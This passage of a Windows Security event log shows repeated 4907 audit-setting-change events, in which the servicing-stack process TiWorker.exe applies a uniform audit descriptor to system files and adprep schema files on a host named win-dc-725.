-RecordNumber=247756 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en\mtedit.resources.dll - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247755 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\drivers\dfsrro.sys - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247754 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\drivers\dfs.sys - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247753 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\schupgrade.cat - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247752 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch87.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247751 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch86.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247750 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch85.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247749 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch84.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247748 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch83.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247747 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch82.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247746 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch81.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247745 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch80.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247744 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch79.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247743 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch78.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247742 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch77.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247741 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch76.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247740 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch75.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247739 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch74.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247738 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch73.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247737 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch72.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247736 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch71.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247735 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch70.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247734 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch69.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247733 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch68.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247732 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch67.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247731 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch66.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247730 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch65.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247729 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch64.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247728 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch63.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247727 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch62.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247726 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch61.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247725 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch60.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247724 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch59.ldf - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247723 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch58.ldf - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247722 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT 